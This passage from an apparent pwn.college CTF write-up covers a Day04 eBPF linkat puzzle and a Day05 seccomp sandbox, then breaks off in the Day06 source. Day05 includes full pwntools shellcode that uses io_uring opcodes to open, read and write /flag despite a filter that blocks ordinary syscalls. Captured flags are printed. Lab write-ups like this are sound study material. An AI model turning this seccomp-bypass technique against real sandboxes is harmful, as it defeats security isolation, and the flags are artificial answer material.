     156:	71 a1 f3 ff 00 00 00 00	r1 = *(u8 *)(r10 - 0xd)
     157:	55 01 6b 00 74 00 00 00	if r1 != 0x74 goto +0x6b <handle_do_linkat+0x848>
     158:	71 a1 f4 ff 00 00 00 00	r1 = *(u8 *)(r10 - 0xc)
     159:	55 01 69 00 7a 00 00 00	if r1 != 0x7a goto +0x69 <handle_do_linkat+0x848>
     160:	71 a1 f5 ff 00 00 00 00	r1 = *(u8 *)(r10 - 0xb)
     161:	55 01 67 00 65 00 00 00	if r1 != 0x65 goto +0x67 <handle_do_linkat+0x848>
     162:	71 a1 f6 ff 00 00 00 00	r1 = *(u8 *)(r10 - 0xa)
     163:	55 01 65 00 6e 00 00 00	if r1 != 0x6e goto +0x65 <handle_do_linkat+0x848>
     164:	b7 01 00 00 08 00 00 00	r1 = 0x8
     165:	63 1a e8 ff 00 00 00 00	*(u32 *)(r10 - 0x18) = r1
     166:	b7 01 00 00 01 00 00 00	r1 = 0x1
     167:	63 1a f0 ff 00 00 00 00	*(u32 *)(r10 - 0x10) = r1
     168:	bf a2 00 00 00 00 00 00	r2 = r10
     169:	07 02 00 00 ec ff ff ff	r2 += -0x14
     170:	bf a3 00 00 00 00 00 00	r3 = r10
     171:	07 03 00 00 f0 ff ff ff	r3 += -0x10
     172:	18 01 00 00 00 00 00 00 00 00 00 00 00 00 00 00	r1 = 0x0 ll
		0000000000000560:  R_BPF_64_64	success
     174:	b7 04 00 00 00 00 00 00	r4 = 0x0
     175:	85 00 00 00 02 00 00 00	call 0x2
     176:	05 00 5a 00 00 00 00 00	goto +0x5a <handle_do_linkat+0x858>
     177:	bf a1 00 00 00 00 00 00	r1 = r10
     178:	07 01 00 00 f0 ff ff ff	r1 += -0x10
     179:	b7 02 00 00 10 00 00 00	r2 = 0x10
     180:	bf 63 00 00 00 00 00 00	r3 = r6
     181:	85 00 00 00 72 00 00 00	call 0x72
     182:	67 00 00 00 20 00 00 00	r0 <<= 0x20
     183:	77 00 00 00 20 00 00 00	r0 >>= 0x20
     184:	55 00 50 00 07 00 00 00	if r0 != 0x7 goto +0x50 <handle_do_linkat+0x848>
     185:	71 a1 f0 ff 00 00 00 00	r1 = *(u8 *)(r10 - 0x10)
     186:	55 01 4e 00 64 00 00 00	if r1 != 0x64 goto +0x4e <handle_do_linkat+0x848>
     187:	71 a1 f1 ff 00 00 00 00	r1 = *(u8 *)(r10 - 0xf)
     188:	55 01 4c 00 61 00 00 00	if r1 != 0x61 goto +0x4c <handle_do_linkat+0x848>
     189:	71 a1 f2 ff 00 00 00 00	r1 = *(u8 *)(r10 - 0xe)
     190:	55 01 4a 00 6e 00 00 00	if r1 != 0x6e goto +0x4a <handle_do_linkat+0x848>
     191:	71 a1 f3 ff 00 00 00 00	r1 = *(u8 *)(r10 - 0xd)
     192:	55 01 48 00 63 00 00 00	if r1 != 0x63 goto +0x48 <handle_do_linkat+0x848>
     193:	71 a1 f4 ff 00 00 00 00	r1 = *(u8 *)(r10 - 0xc)
     194:	55 01 46 00 65 00 00 00	if r1 != 0x65 goto +0x46 <handle_do_linkat+0x848>
     195:	71 a1 f5 ff 00 00 00 00	r1 = *(u8 *)(r10 - 0xb)
     196:	55 01 44 00 72 00 00 00	if r1 != 0x72 goto +0x44 <handle_do_linkat+0x848>
     197:	b7 01 00 00 02 00 00 00	r1 = 0x2
     198:	05 00 43 00 00 00 00 00	goto +0x43 <handle_do_linkat+0x850>
     199:	bf a1 00 00 00 00 00 00	r1 = r10
     200:	07 01 00 00 f0 ff ff ff	r1 += -0x10
     201:	b7 02 00 00 10 00 00 00	r2 = 0x10
     202:	bf 63 00 00 00 00 00 00	r3 = r6
     203:	85 00 00 00 72 00 00 00	call 0x72
     204:	67 00 00 00 20 00 00 00	r0 <<= 0x20
     205:	77 00 00 00 20 00 00 00	r0 >>= 0x20
     206:	55 00 3a 00 06 00 00 00	if r0 != 0x6 goto +0x3a <handle_do_linkat+0x848>
     207:	71 a1 f0 ff 00 00 00 00	r1 = *(u8 *)(r10 - 0x10)
     208:	55 01 38 00 63 00 00 00	if r1 != 0x63 goto +0x38 <handle_do_linkat+0x848>
     209:	71 a1 f1 ff 00 00 00 00	r1 = *(u8 *)(r10 - 0xf)
     210:	55 01 36 00 6f 00 00 00	if r1 != 0x6f goto +0x36 <handle_do_linkat+0x848>
     211:	71 a1 f2 ff 00 00 00 00	r1 = *(u8 *)(r10 - 0xe)
     212:	55 01 34 00 6d 00 00 00	if r1 != 0x6d goto +0x34 <handle_do_linkat+0x848>
     213:	71 a1 f3 ff 00 00 00 00	r1 = *(u8 *)(r10 - 0xd)
     214:	55 01 32 00 65 00 00 00	if r1 != 0x65 goto +0x32 <handle_do_linkat+0x848>
     215:	71 a1 f4 ff 00 00 00 00	r1 = *(u8 *)(r10 - 0xc)
     216:	55 01 30 00 74 00 00 00	if r1 != 0x74 goto +0x30 <handle_do_linkat+0x848>
     217:	b7 01 00 00 05 00 00 00	r1 = 0x5
     218:	05 00 2f 00 00 00 00 00	goto +0x2f <handle_do_linkat+0x850>
     219:	bf a1 00 00 00 00 00 00	r1 = r10
     220:	07 01 00 00 f0 ff ff ff	r1 += -0x10
     221:	b7 02 00 00 10 00 00 00	r2 = 0x10
     222:	bf 63 00 00 00 00 00 00	r3 = r6
     223:	85 00 00 00 72 00 00 00	call 0x72
     224:	67 00 00 00 20 00 00 00	r0 <<= 0x20
     225:	77 00 00 00 20 00 00 00	r0 >>= 0x20
     226:	55 00 26 00 07 00 00 00	if r0 != 0x7 goto +0x26 <handle_do_linkat+0x848>
     227:	71 a1 f0 ff 00 00 00 00	r1 = *(u8 *)(r10 - 0x10)
     228:	55 01 24 00 64 00 00 00	if r1 != 0x64 goto +0x24 <handle_do_linkat+0x848>
     229:	71 a1 f1 ff 00 00 00 00	r1 = *(u8 *)(r10 - 0xf)
     230:	55 01 22 00 6f 00 00 00	if r1 != 0x6f goto +0x22 <handle_do_linkat+0x848>
     231:	71 a1 f2 ff 00 00 00 00	r1 = *(u8 *)(r10 - 0xe)
     232:	55 01 20 00 6e 00 00 00	if r1 != 0x6e goto +0x20 <handle_do_linkat+0x848>
     233:	71 a1 f3 ff 00 00 00 00	r1 = *(u8 *)(r10 - 0xd)
     234:	55 01 1e 00 6e 00 00 00	if r1 != 0x6e goto +0x1e <handle_do_linkat+0x848>
     235:	71 a1 f4 ff 00 00 00 00	r1 = *(u8 *)(r10 - 0xc)
     236:	55 01 1c 00 65 00 00 00	if r1 != 0x65 goto +0x1c <handle_do_linkat+0x848>
     237:	71 a1 f5 ff 00 00 00 00	r1 = *(u8 *)(r10 - 0xb)
     238:	55 01 1a 00 72 00 00 00	if r1 != 0x72 goto +0x1a <handle_do_linkat+0x848>
     239:	b7 01 00 00 07 00 00 00	r1 = 0x7
     240:	05 00 19 00 00 00 00 00	goto +0x19 <handle_do_linkat+0x850>
     241:	bf a1 00 00 00 00 00 00	r1 = r10
     242:	07 01 00 00 f0 ff ff ff	r1 += -0x10
     243:	b7 02 00 00 10 00 00 00	r2 = 0x10
     244:	bf 63 00 00 00 00 00 00	r3 = r6
     245:	85 00 00 00 72 00 00 00	call 0x72
     246:	67 00 00 00 20 00 00 00	r0 <<= 0x20
     247:	77 00 00 00 20 00 00 00	r0 >>= 0x20
     248:	55 00 10 00 08 00 00 00	if r0 != 0x8 goto +0x10 <handle_do_linkat+0x848>
     249:	71 a1 f0 ff 00 00 00 00	r1 = *(u8 *)(r10 - 0x10)
     250:	55 01 0e 00 70 00 00 00	if r1 != 0x70 goto +0xe <handle_do_linkat+0x848>
     251:	71 a1 f1 ff 00 00 00 00	r1 = *(u8 *)(r10 - 0xf)
     252:	55 01 0c 00 72 00 00 00	if r1 != 0x72 goto +0xc <handle_do_linkat+0x848>
     253:	71 a1 f2 ff 00 00 00 00	r1 = *(u8 *)(r10 - 0xe)
     254:	55 01 0a 00 61 00 00 00	if r1 != 0x61 goto +0xa <handle_do_linkat+0x848>
     255:	71 a1 f3 ff 00 00 00 00	r1 = *(u8 *)(r10 - 0xd)
     256:	55 01 08 00 6e 00 00 00	if r1 != 0x6e goto +0x8 <handle_do_linkat+0x848>
     257:	71 a1 f4 ff 00 00 00 00	r1 = *(u8 *)(r10 - 0xc)
     258:	55 01 06 00 63 00 00 00	if r1 != 0x63 goto +0x6 <handle_do_linkat+0x848>
     259:	71 a1 f5 ff 00 00 00 00	r1 = *(u8 *)(r10 - 0xb)
     260:	55 01 04 00 65 00 00 00	if r1 != 0x65 goto +0x4 <handle_do_linkat+0x848>
     261:	71 a1 f6 ff 00 00 00 00	r1 = *(u8 *)(r10 - 0xa)
     262:	55 01 02 00 72 00 00 00	if r1 != 0x72 goto +0x2 <handle_do_linkat+0x848>
     263:	b7 01 00 00 03 00 00 00	r1 = 0x3
     264:	05 00 01 00 00 00 00 00	goto +0x1 <handle_do_linkat+0x850>
     265:	b7 01 00 00 00 00 00 00	r1 = 0x0
     266:	63 1a e8 ff 00 00 00 00	*(u32 *)(r10 - 0x18) = r1
     267:	bf a2 00 00 00 00 00 00	r2 = r10
     268:	07 02 00 00 ec ff ff ff	r2 += -0x14
     269:	bf a3 00 00 00 00 00 00	r3 = r10
     270:	07 03 00 00 e8 ff ff ff	r3 += -0x18
     271:	18 01 00 00 00 00 00 00 00 00 00 00 00 00 00 00	r1 = 0x0 ll
		0000000000000878:  R_BPF_64_64	progress
     273:	b7 04 00 00 00 00 00 00	r4 = 0x0
     274:	85 00 00 00 02 00 00 00	call 0x2
     275:	b7 00 00 00 00 00 00 00	r0 = 0x0
     276:	95 00 00 00 00 00 00 00	exit
  • The BPF first check the oldpath must be sleigh

  • Then it take newname into a state machine

int linkat(int olddfd, const char *oldname, int newdfd, const char *newname, int flags);

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
switch (state) {
    case 0:
        if (len_new - 1 == 6 && eq_str(newname, "dasher", 6)) next = 1;
        else next = 0;
        break;

    case 1:
        if (len_new - 1 == 6 && eq_str(newname, "dancer", 6)) next = 2;
        else next = 0;
        break;

    case 2:
        if (len_new - 1 == 7 && eq_str(newname, "prancer", 7)) next = 3;
        else next = 0;
        break;

    case 3:
        if (len_new - 1 == 5 && eq_str(newname, "vixen", 5)) next = 4;
        else next = 0;
        break;

    case 4:
        if (len_new - 1 == 5 && eq_str(newname, "comet", 5)) next = 5;
        else next = 0;
        break;

    case 5:
        if (len_new - 1 == 5 && eq_str(newname, "cupid", 5)) next = 6;
        else next = 0;
        break;

    case 6:
        if (len_new - 1 == 6 && eq_str(newname, "donner", 6)) next = 7;
        else next = 0;
        break;

    case 7:
        if (len_new - 1 == 7 && eq_str(newname, "blitzen", 7)) {
            next = 8;
            /* set success[0] = 1 */
            {
                __u32 one = 1;
                bpf_map_update_elem(&success, &key, &one, 0);
            }
        } else {
            next = 0;
        }
        break;

    default:
        next = 0;
        break;
    }

It call bpf_map_update_elem to update map success. At userspace, the while loop continuously check this map. As soon as the map sucess value is non-zero, it will call broadcast_cheers() to print the flag.


Exploitation

The idea is to call linkat syscall with oldname as sleigh and newname as dasher, dancer, prancer, vixen, comet, cupid, donner, blitzen in the right order.

Click to view exploit.c
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>
#include <fcntl.h>
#include <errno.h>
#include <string.h>

int main(void) {
    int fd = open("sleigh", O_CREAT | O_RDWR, 0777);
    if (fd < 0) {
        perror("Failed to create sleigh");
        return 1;
    }
    close(fd);

    const char *reindeer[] = {
        "dasher",
        "dancer",
        "prancer",
        "vixen",
        "comet",
        "cupid",
        "donner",
        "blitzen"
    };

    for (int i = 0; i < 8; i++) {
        unlink(reindeer[i]);
        if (linkat(AT_FDCWD, "sleigh", AT_FDCWD, reindeer[i], 0) < 0) {
            fprintf(stderr, "Failed to link %s: %s\n", reindeer[i], strerror(errno));
        } else {
            printf("  [+] Linked 'sleigh' to '%s'\n", reindeer[i]);
        }
        usleep(10000);
    }
    unlink("sleigh");
    for (int i = 0; i < 8; i++) {
        unlink(reindeer[i]);
    }

    return 0;
}

POC:

Desktop View

Flag: pwn.college{E3qcQI5FW_4OA80RL_fp0vYh7S2.0lM5gTMywiN1UDN0EzW}


Day05


Description

Did you ever wonder how Santa manages to deliver sooo many presents in one night?


Dashing through the code,
In a one-ring I/O sled,
O’er the syscalls go,
No blocking lies ahead!
Buffers queue and spin,
Completions shining bright,
What fun it is to read and write,
Async I/O tonight — hey!


Analysis

Click to view sleigh.c
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
#include <errno.h>
#include <seccomp.h>
#include <stdio.h>
#include <stdlib.h>
#include <time.h>
#include <unistd.h>
#include <sys/mman.h>
#include <sys/prctl.h>
#include <linux/seccomp.h>

#define NORTH_POLE_ADDR (void *)0x1225000

int setup_sandbox()
{
    if (prctl(PR_SET_NO_NEW_PRIVS, 1, 0, 0, 0) != 0) {
        perror("prctl(NO_NEW_PRIVS)");
        return 1;
    }

    scmp_filter_ctx ctx = seccomp_init(SCMP_ACT_KILL);
    if (!ctx) {
        perror("seccomp_init");
        return 1;
    }

    if (seccomp_rule_add(ctx, SCMP_ACT_ALLOW, SCMP_SYS(io_uring_setup), 0) < 0 ||
        seccomp_rule_add(ctx, SCMP_ACT_ALLOW, SCMP_SYS(io_uring_enter), 0) < 0 ||
        seccomp_rule_add(ctx, SCMP_ACT_ALLOW, SCMP_SYS(io_uring_register), 0) < 0 ||
        seccomp_rule_add(ctx, SCMP_ACT_ALLOW, SCMP_SYS(exit_group), 0) < 0) {
        perror("seccomp_rule_add");
        return 1;
    }

    if (seccomp_load(ctx) < 0) {
        perror("seccomp_load");
        return 1;
    }

    seccomp_release(ctx);

    return 0;
}

int main()
{
    void *code = mmap(NORTH_POLE_ADDR, 0x1000, PROT_READ | PROT_WRITE | PROT_EXEC, MAP_ANONYMOUS | MAP_PRIVATE, -1, 0);
    if (code != NORTH_POLE_ADDR) {
        perror("mmap");
        return 1;
    }

    srand(time(NULL));
    int offset = (rand() % 100) + 1;

    puts("🛷 Loading cargo: please stow your sled at the front.");

    if (read(STDIN_FILENO, code, 0x1000) < 0) {
        perror("read");
        return 1;
    }

    puts("📜 Checking Santa's naughty list... twice!");
    if (setup_sandbox() != 0) {
        perror("setup_sandbox");
        return 1;
    }

    // puts("❄️ Dashing through the snow!");
    ((void (*)())(code + offset))();

    // puts("🎅 Merry Christmas to all, and to all a good night!");
    return 0;
}

Output of seccomp-tools:

1
2
3
4
5
6
7
8
9
10
11
12
13
 line  CODE  JT   JF      K
=================================
 0000: 0x20 0x00 0x00 0x00000004  A = arch
 0001: 0x15 0x00 0x08 0xc000003e  if (A != ARCH_X86_64) goto 0010
 0002: 0x20 0x00 0x00 0x00000000  A = sys_number
 0003: 0x35 0x00 0x01 0x40000000  if (A < 0x40000000) goto 0005
 0004: 0x15 0x00 0x05 0xffffffff  if (A != 0xffffffff) goto 0010
 0005: 0x15 0x03 0x00 0x000000e7  if (A == exit_group) goto 0009
 0006: 0x15 0x02 0x00 0x000001a9  if (A == 0x1a9) goto 0009
 0007: 0x15 0x01 0x00 0x000001aa  if (A == 0x1aa) goto 0009
 0008: 0x15 0x00 0x01 0x000001ab  if (A != 0x1ab) goto 0010
 0009: 0x06 0x00 0x00 0x7fff0000  return ALLOW
 0010: 0x06 0x00 0x00 0x00000000  return KILL

Overral, the program mmap a RWX memory at fixed address 0x1225000, read 0x1000 bytes from stdin into it and set up a seccomp filter to only allow io_uring_setup, io_uring_enter, io_uring_register, and exit_group syscalls. Before jumping into shellcode, it computes:

1
2
int offset = (rand() % 100) + 1;
((void (*)())(code + offset))();

So execution starts 1..100 bytes into your buffer, not at the beginning. We need a NOP sled at the front so that starting at any byte in [1,100] still slides into your real payload.

io_uring is a kernel interface where userspace submits I/O requests through shared ring buffers (Submission Queue / Completion Queue). Seccomp blocks direct syscalls like openat, read, and write, but it does not automatically prevent the kernel from executing those operations when they are requested as io_uring opcodes and triggered via the allowed io_uring_enter() syscall.

Conceptually:

  • SQ (submission queue): userspace fills SQEs describing operations (OPENAT/READ/WRITE/…).
  • CQ (completion queue): kernel writes CQEs containing results (res) and an identifier (user_data).

Exploitation

We need three logical operations: open("/flag"), read(flag_fd, buf), and write(1, buf).

Setup: using IORING_SETUP_NO_MMAP

Normally, after io_uring_setup(), a program must mmap() the SQ ring, CQ ring, and SQEs. However, mmap is blocked by seccomp. The flag IORING_SETUP_NO_MMAP allows the caller to provide its own contiguous memory regions:

  • params->cq_off.user_addr → base address for the SQ/CQ ring metadata and CQEs
  • params->sq_off.user_addr → base address for the SQE array

We reserve a stack scratch region and clear it to avoid garbage in reserved fields:

sub rsp, 0x4000      ; Create stack space
mov rbx, rsp         ; rbx acts as our base pointer for structures
mov rdi, rbx         ; rdi -> base
xor eax, eax
mov ecx, 0x800       ; Clear 0x800 * 8 bytes
rep stosq            ; Zero out the memory region

Then we set:

  • params->flags = IORING_SETUP_NO_MMAP
  • params->cq_off.user_addr and params->sq_off.user_addr to point into our scratch region (page-aligned / contiguous regions), and call io_uring_setup():
    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    11
    12
    13
    
    struct io_uring_params {
      __u32 sq_entries;
      __u32 cq_entries;
      __u32 flags;
      __u32 sq_thread_cpu;
      __u32 sq_thread_idle;
      __u32 features;
      __u32 wq_fd;
      __u32 resv[3];
      struct io_sqring_offsets sq_off;
      struct io_cqring_offsets cq_off;
    };
    int io_uring_setup(u32 entries, struct io_uring_params *params);
    
1
2
3
4
5
6
mov dword ptr [rbx + 8], 0x4000     ; IORING_SETUP_NO_MMAP
mov eax, 425                        ; __NR_io_uring_setup
mov edi, 8                          ; entries
mov rsi, rbx                        ; &params
syscall
mov r13, rax                        ; ring_fd

After io_uring_setup(), the kernel fills params->sq_off.* and params->cq_off.* with offsets describing where fields like tail, mask, array, and cqes live relative to the ring base.

We load the two bases:

mov r12, qword ptr [rbx + 0x70]     ; ring_base = cq_off.user_addr
mov r14, qword ptr [rbx + 0x48]     ; sqes_base = sq_off.user_addr

The offsets provided by the kernel are turned into real pointers via:

  • ptr = ring_base + offset
mov eax, dword ptr [rbx + 0x2c] ; sq_off.tail (offset)
add rax, r12
mov rsi, rax                   ; sq_tail_ptr

mov eax, dword ptr [rbx + 0x30] ; sq_off.ring_mask
add rax, r12
mov rdi, rax                    ; sq_mask_ptr

mov eax, dword ptr [rbx + 0x40] ; sq_off.array
add rax, r12
mov r10, rax                    ; sq_array_base

We compute the slot index:

tail = *sq_tail_ptr
mask = *sq_mask_ptr
idx  = tail & mask

Then derive:

  • sqe_ptr = sqes_base + idx * 64 (SQE is 64 bytes)
  • sq_array_ptr = sq_array_base + idx * 4 (u32 index array)

and clear the SQE with memset(sqe, 0, 64).

Enter

Each operation is encoded as one 64-byte SQE. The workflow is always:

  • pick idx = tail & mask
  • fill sqe_ptr
  • publish sq_array[idx] = idx, then tail++
  • call io_uring_enter(ring_fd, 1, 1, GETEVENTS, …) to submit and wait
  • pop one CQE to get res (fd or byte count), then cq_head++
1
2
3
int io_uring_enter(unsigned int fd, unsigned int to_submit,
                          unsigned int min_complete, unsigned int flags,
                          sigset_t *sig);

openat(AT_FDCWD, "/flag", O_RDONLY, 0):

We create an SQE with opcode IORING_OP_OPENAT (18). Because the SQE is zeroed first, open_flags=0 (i.e., O_RDONLY) and mode=0 are already satisfied.

FieldOffsetValue
opcode+018
fd (dirfd)+4-100 (AT_FDCWD)
addr+16pointer to “/flag”
user_data+321

After submitting, we pop one CQE and use cqe->res as the returned file descriptor.

read(flag_fd, buffer_ptr, length) and write(1, buffer_ptr, length)

We need to take the flag_fd returned from the previous step (stored in r11d in the payload) and use it here and do the same for read and write.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
// submit READ(filefd, buf, 100)
idx = sq_tail & sq_mask;
sqe = sqes[idx]; memset(sqe,0,64);
sqe->opcode = READ; sqe->fd=filefd; sqe->addr=buf; sqe->len=100; sqe->user_data=2;
sq_array[idx]=idx; sq_tail++;
io_uring_enter(fd, 1, 1, GETEVENTS, 0, 0);
bytes = pop_cqe_res();

// submit WRITE(1, buf, 100)
idx = sq_tail & sq_mask;
sqe = sqes[idx]; memset(sqe,0,64);
sqe->opcode = WRITE; sqe->fd=1; sqe->addr=buf; sqe->len=100; sqe->user_data=3;
sq_array[idx]=idx; sq_tail++;
io_uring_enter(fd, 1, 1, GETEVENTS, 0, 0);
Click to view solve.py
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
204
205
206
207
208
209
210
211
212
213
214
215
216
217
218
219
220
221
222
223
224
225
226
227
228
229
230
231
232
233
234
235
236
237
238
239
240
241
242
243
244
245
246
247
248
249
250
251
#!/usr/bin/env python3
from pwn import *

exe = ELF("./sleigh")
# libc = ELF("./libc", checksec=False)

HOST=""
PORT=1337

context.binary = exe
context.log_level = 'debug'
context.arch = 'amd64'

gdbscript="""
b*$rebase(0x000000000000151E)"""

def run():
    if args.LOCAL:
        p = process([exe.path])
        gdb.attach(p, api=True, gdbscript=gdbscript)
    else:
        p = remote(HOST, PORT)

    return p

p = run()
info = lambda msg: log.info(msg)
success = lambda msg: log.success(msg)
sla = lambda msg, data: p.sendlineafter(msg, data)
sna = lambda msg, data: p.sendlineafter(msg, str(data).encode())
sa = lambda msg, data: p.sendafter(msg, data)
sl = lambda data: p.sendline(data)
sn = lambda data: p.sendline(str(data).encode())
s = lambda data: p.send(data)
ru = lambda msg: p.recvuntil(msg)
rl = lambda: p.recvline().strip()
rn = lambda n: p.recvn(n)

sc = b'\x90'*100 + asm("""
    sub rsp, 0x4000
    mov rbx, rsp
    mov rdi, rbx
    xor eax, eax
    mov ecx, 0x800
    rep stosq

    mov dword ptr [rbx + 8], 0x4000

    lea rdx, [rbx + 0x800]
    add rdx, 0xfff
    and rdx, 0xfffffffffffff000
    lea rsi, [rdx + 0x2000]

    mov qword ptr [rbx + 0x48], rsi
    mov qword ptr [rbx + 0x50], rdx
    mov qword ptr [rbx + 0x70], rdx

    int3
    mov eax, 425
    mov edi, 8
    mov rsi, rbx
    syscall

    mov r13, rax
    mov r12, qword ptr [rbx + 0x70]
    mov r14, qword ptr [rbx + 0x48]

    lea r15, [rbx + 0x3000]
    mov rax, 0x0067616c662f
    mov qword ptr [r15], rax
    lea rbp, [r15 + 0x10]

    mov eax, dword ptr [rbx + 0x2c]
    add rax, r12
    mov rsi, rax
    mov eax, dword ptr [rbx + 0x30]
    add rax, r12
    mov rdi, rax
    mov eax, dword ptr [rbx + 0x40]
    add rax, r12
    mov r10, rax
    mov eax, dword ptr [rsi]
    mov ecx, dword ptr [rdi]
    mov edx, eax
    and edx, ecx
    mov r8d, edx
    shl r8, 6
    lea r8, [r14 + r8]
    mov r9d, edx
    shl r9, 2
    lea r9, [r10 + r9]
    mov rdi, r8
    xor eax, eax
    mov ecx, 8
    rep stosq
    mov byte  ptr [r8 + 0], 18
    mov dword ptr [r8 + 4], -100
    mov qword ptr [r8 + 16], r15
    mov dword ptr [r8 + 24], 0
    mov dword ptr [r8 + 28], 0
    mov qword ptr [r8 + 32], 1
    mov dword ptr [r9], edx
    add dword ptr [rsi], 1

    mov rdi, r13
    mov esi, 1
    mov edx, 1
    mov r10d, 1
    xor r8d, r8d
    xor r9d, r9d
    mov eax, 426
    syscall

    mov eax, dword ptr [rbx + 0x50]
    add rax, r12
    mov rsi, rax
    mov eax, dword ptr [rbx + 0x58]
    add rax, r12
    mov rdi, rax
    mov eax, dword ptr [rbx + 0x64]
    add rax, r12
    mov r10, rax
    mov eax, dword ptr [rsi]
    mov ecx, dword ptr [rdi]
    mov edx, eax
    and edx, ecx
    mov r9d, edx
    shl r9, 4
    lea r9, [r10 + r9]
    mov eax, dword ptr [r9 + 8]
    add dword ptr [rsi], 1
    mov r11d, eax

    mov eax, dword ptr [rbx + 0x2c]
    add rax, r12
    mov rsi, rax
    mov eax, dword ptr [rbx + 0x30]
    add rax, r12
    mov rdi, rax
    mov eax, dword ptr [rbx + 0x40]
    add rax, r12
    mov r10, rax
    mov eax, dword ptr [rsi]
    mov ecx, dword ptr [rdi]
    mov edx, eax
    and edx, ecx
    mov r8d, edx
    shl r8, 6
    lea r8, [r14 + r8]
    mov r9d, edx
    shl r9, 2
    lea r9, [r10 + r9]
    mov rdi, r8
    xor eax, eax
    mov ecx, 8
    rep stosq

    mov byte ptr [r8 + 0], 22
    mov dword ptr [r8 + 4], r11d
    mov qword ptr [r8 + 8], 0
    mov qword ptr [r8 + 16], rbp
    mov dword ptr [r8 + 24], 100
    mov dword ptr [r8 + 28], 0
    mov qword ptr [r8 + 32], 2

    mov dword ptr [r9], edx
    add dword ptr [rsi], 1

    mov rdi, r13
    mov esi, 1
    mov edx, 1
    mov r10d, 1
    xor r8d, r8d
    xor r9d, r9d
    mov eax, 426
    syscall

    mov eax, dword ptr [rbx + 0x50]
    add rax, r12
    mov rsi, rax
    mov eax, dword ptr [rbx + 0x58]
    add rax, r12
    mov rdi, rax
    mov eax, dword ptr [rbx + 0x64]
    add rax, r12
    mov r10, rax
    mov eax, dword ptr [rsi]
    mov ecx, dword ptr [rdi]
    mov edx, eax
    and edx, ecx
    mov r9d, edx
    shl r9, 4
    lea r9, [r10 + r9]
    mov eax, dword ptr [r9 + 8]
    add dword ptr [rsi], 1
    mov r10d, eax

    mov eax, dword ptr [rbx + 0x2c]
    add rax, r12
    mov rsi, rax
    mov eax, dword ptr [rbx + 0x30]
    add rax, r12
    mov rdi, rax
    mov eax, dword ptr [rbx + 0x40]
    add rax, r12
    mov r10, rax
    mov eax, dword ptr [rsi]
    mov ecx, dword ptr [rdi]
    mov edx, eax
    and edx, ecx
    mov r8d, edx
    shl r8, 6
    lea r8, [r14 + r8]
    mov r9d, edx
    shl r9, 2
    lea r9, [r10 + r9]
    mov rdi, r8
    xor eax, eax
    mov ecx, 8
    rep stosq

    mov byte ptr [r8 + 0], 23
    mov dword ptr [r8 + 4], 1
    mov qword ptr [r8 + 8], 0
    mov qword ptr [r8 + 16], rbp
    mov dword ptr [r8 + 24], 100
    mov dword ptr [r8 + 28], 0
    mov qword ptr [r8 + 32], 3

    mov dword ptr [r9], edx
    add dword ptr [rsi], 1

    mov rdi, r13
    mov esi, 1
    mov edx, 1
    mov r10d, 1
    xor r8d, r8d
    xor r9d, r9d
    mov eax, 426
    syscall

    mov edi, 0
    mov eax, 231
    syscall
""")


sa(b"front.", sc)

# p.interactive()
print(p.recvall())

Flag: pwn.college{MHh6zxZW0ZZQYJISGy3BrUG3GBS.0FOwkTMywiN1UDN0EzW}


Day06


Description

🎄 North-Poole: The Decentralized Spirit of Christmas 🎄

For centuries, Santa ruled the holidays with a single, all-powerful Naughty-or-Nice list. One workshop. One sleigh. One very centralized source of truth.

But after years of “mislabeled” children, delayed gifts, and at least one entire village receiving nothing but the string “AAAAAAAAAA” due to an unfortunate buffer overflow in the Letter Sorting Department, global trust has melted faster than a snowman in July. The kids are done relying on a jolly single point of failure.

Now introducing…

🎁 NiceCoin™ — the world’s first decentralized, elf-mined, holly-backed virtue token.
Mint your cheer. Secure your joy. Put holiday spirit on the blockchain.

Elves now mine blocks recording verified Nice deeds and mint NiceCoins. Children send signed, on-chain letters to request presents, and Santa—bound by transparent, immutable consensus—must follow the ledger. The workshop is running on proof-of-work, mempools, and a very fragile attempt at “trustless” Christmas cheer.

Ho-ho-hope you’re ready. 🎅🔥


Analysis

We’rs give:

Click to view children.py
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
#!/usr/local/bin/python -u
import hashlib
import json
import os
import random
import sys
import time
import uuid
from pathlib import Path

import requests
from cryptography.hazmat.primitives import serialization

NORTH_POOLE = os.environ["NORTH_POOLE"]
LETTER_HEADER = "Dear Santa,\n\nFor christmas this year I would like "

GIFTS = [
    "bicycle",
    "train set",
    "drone",
    "robot kit",
    "skateboard",
    "telescope",
    "lego castle",
    "paint set",
    "guitar",
    "soccer ball",
    "puzzle box",
    "chemistry kit",
    "story book",
    "piano keyboard",
    "rollerblades",
    "coding tablet",
    "chess set",
    "binoculars",
    "science lab",
    "magic set",
    "remote car",
    "ukulele",
    "basketball",
    "hockey stick",
    "football",
    "dollhouse",
    "action figures",
